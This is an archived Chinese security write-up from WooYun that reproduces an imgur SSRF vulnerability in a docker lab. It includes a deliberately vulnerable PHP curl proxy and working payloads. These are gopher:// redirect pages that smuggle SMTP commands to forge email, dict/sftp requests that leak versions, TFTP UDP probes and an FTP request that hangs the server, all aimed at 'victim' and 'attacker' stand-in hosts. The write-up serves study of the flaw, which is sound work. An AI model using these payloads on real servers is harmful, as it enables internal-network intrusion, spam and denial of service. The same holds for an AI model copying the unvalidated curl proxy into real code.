# SSRF libcurl protocol wrappers利用分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-03-21T02:29:00Z
Canonical: https://wepostx.com/topics/139

> 乌云历史资料归档
>
> **原始作者：** 小饼仔
> **原始编号：** superkieran-wooyundrops:1098
> **原始发布时间：** 2016-03-21 10:29
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 概述

前几天在[hackerone](https://hackerone.com)上看到一个[imgur](http://imgur.com/)的[SSRF漏洞](https://hackerone.com/reports/115748)，url为：https://imgur.com/vidgif/url?url=xxx，参数url没有做限制，可以访问内网地址。请求过程中使用到了liburl库，并且liburl配置不当，可以让攻击者使用除http(s)之外的多个libcurl protocol wrappers，比如ftp://xxx.com/file会让服务器发起ftp请求。
漏洞提交者[aesteral](https://hackerone.com/aesteral)在报告中给出了几种协议的利用方法，查了下drops之前SSRF文章，好像没有专门介绍protocol wrappers，刚好看到了这个漏洞报告，就尝试着搭建环境复现下，记录下过程。

## 0x01 环境搭建

首先要搭建php + nginx环境，来模拟SSRF server端漏洞环境，这里选择用[docker](http://www.docker.com/)来搭建，系统为Ubuntu14.04，docker安装可以参考[文档](https://docs.docker.com/linux/step_one/)，ubuntu的apt源建议换成[国内的](http://wiki.ubuntu.org.cn/Template:14.04source)，安装起来比较快。
安装完后，拉取docker hub上安装好php + nginx环境的image，仓库在国外，速度可能略慢
docker pull richarvey/nginx-php-fpm
创建代码目录/app
启动container(映射端口、挂载volume):
sudo docker run --name nginx -p 8084:80 -v /app:/usr/share/nginx/html -d richarvey/nginx-php-fpm
在/app目录下创建ssrf.php，代码中使用curl请求参数url对应的资源，返回给客户端，用于模拟SSRF的功能

```text
<?php $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11'); // 允许302跳转 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $res = curl_exec($ch); // 设置content-type header('Content-Type: image/png'); curl_close($ch) ; //返回响应 echo $res; ?>
```
我们测试加载图片，访问
http://victim:8084/ssrf.php?url=http://download.easyicon.net/png/1199986/96/
[[原始图片缺失：2016031808183819379.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/75B3CE55-D9FA-4F05-9B81-AE3385E9676A.jpg)
测试SSRF，在另一台机器上执行nc -l -v 11111，监听11111端口
访问 http://victim:8084/ssrf.php?url=http://attacker:11111/
[[原始图片缺失：2016031808183850391.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/D2479565-6067-49CF-B12B-E4EF2D77BCA3.jpg)

## 0x02 可利用的协议

报告里给出的可利用的协议有

- SSH (scp://, sftp://)

- POP3

- IMAP

- SMTP

- FTP

- DICT

- GOPHER

- TFTP
我们来看一下Ubuntu14.04下默认的libcurl支持哪些协议
因为docker ubuntu image没有curl，所以安装 apt-get install -y curl
然后执行curl -V

```text
[email protected] :/app# curl -V curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP
```
可以看到

```text
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
```
中，并没有SSH(scp://, sftp://)，所以默认是不支持的SSH协议的，需要自己下载源码重现编译安装，可以参考[这篇文章](http://wiki.hetzner.de/index.php/Curl_fuer_sftp/en)。

## 0x03 利用方式

简单的利用，信息泄露
利用SSH和DICT协议获取软件版本信息
sftp(需要curl编译安装libssh库)访问:http://victim:8084/ssrf.php?url=sftp://attacker:11111/
[[原始图片缺失：2016031808183951780.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/F90A5E0B-F339-40F7-A8DC-140FBCF3505C.jpg)
DICT访问 http://victim:8084/ssrf.php?url=dict://attacker:11111/ [[原始图片缺失：2016031808183981394.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/F83A4EAE-C755-46AF-8BAC-6384B740859A.jpg)
可以看到服务使用的软件版本，libssh2 1.4.3 和 libcurl 7.35.0。查看下CVE
libssh2 1.4.3可能受 CVE-2015-1782 影响
报告中imgur服务器中的软件版本是libcurl 7.40.0 可能受 CVE-2015-3144 和 CVE-2015-3237影响，我们的版本为libcurl 7.35.0，不受影响

利用GOPHER协议伪造发送邮件
先介绍下GOPHER协议，来自百度知道～
Gopher协议是一种互联网没有发展起来之前的一种从远程服务器上获取数据的协议。Gopher协议目前已经很少使用，它几乎已经完全被HTTP协议取代了。
因为GOPHER协议支持newlines，所以可以用来发起类似TELNET chat-session的请求，比如SMTP，Redis server等。漏洞报告中提到imgur过滤了url参数中的newlines，但imgur server支持302跳转，所以可以构造一个302跳转的页面，结合GOPHER协议来完成攻击。
先测试一下GOPHER协议的效果，构造302跳转页面 gopher.php

```text
<?php header('Location: gopher://attacker:11111/_HI%0AMultiline%0Atest'); ?>
```
访问 http://victim:8084/ssrf.php?url=http://attacker/gopher.php
attacker端：
[[原始图片缺失：2016031808183953884.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/9BF07BD2-D848-4609-9C57-0D08087BA647.jpg)
接下来是发送邮件，本来想用国内的邮箱试试的，然而都加了登陆验证来防止垃圾邮件。
报告中给了一个 http://test.smtp.org/ 的网站，可以用来测试，这里修改了收件人，不然不会发送成功
smtp.php:

```text
<?php $commands = array( 'HELO test.org', 'MAIL FROM: < [email protected] >', 'RCPT TO: [email protected] ', 'DATA', 'Test mail', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://smtp.163.com:25/_'.$payload); ?>
```
访问http://victim:8084/ssrf.php?url=http://attacker:8084/smtp.php
可以到 http://test.smtp.org/log 下查看日志，我的VPS连接不了 http://test.smtp.org的25端口，换来一台直接用TELNET模拟

```text
[email protected] :~$ telnet test.smtp.org 25 Trying 52.2.168.164... Connected to test.smtp.org. Escape character is '^]'. 220 test.smtp.org ESMTP Sendmail 8.16.0.16 ready at Fri, 18 Mar 2016 06:47:04 GMT; see http://test.smtp.org/ HELO test.org 250 test.smtp.org Hello [xx.xx.xx.xx], pleased to meet you MAIL FROM: < [email protected] > 250 2.1.0 < [email protected] >... Sender ok RCPT TO: [email protected] 250 2.1.5 [email protected] .. Recipient ok DATA 354 Enter mail, end with "." on a line by itself Test mail . 250 2.0.0 u2I6l4QU017644 Message accepted for delivery
```
日志
[[原始图片缺失：2016031808184049375.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/4303DD91-97BC-41C2-8037-D9C3CB6384D5.jpg)

使用TFTP协议来发送UDP包
服务端监听UDP 11111端口 nc -v -u -l 11111
访问http://Victim:8084/ssrf.php?url=tftp://Attacker:11111/TEST
Attacker: [[原始图片缺失：2016031808184044868.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/5E2AC53D-B859-41A3-8093-2ADD2674EB0A.jpg)
可以用来向UDP服务发起请求，比如Memcache 和 REDIS-UDP

Denial of service
如果请求的超时时间较长，攻击者可以iptables的 TARPIT 来block请求，此外CURL的 FTP:// 永远不会超时
Attacker 监听 nc -v -l 11111
访问 http://Victim:8084/ssrf.php?url=ftp://Attacker:11111/TEST
nginx环境下默认超时时间为1分钟 [[原始图片缺失：2016031808184110257.jpg]](http://drops.wooyun.org/wp-content/uploads/2016/03/C5A25D8D-1599-4E8B-83DB-EBCC7FB2051C.jpg)
攻击者可以发起大量请求来耗尽服务器的资源

## 0x04 结论

撸站遇到SSRF时，除了可以使用http(s)之外，还有其它的一些协议，这里进行了简单的分析，希望对大家有一些帮助～

## Replies
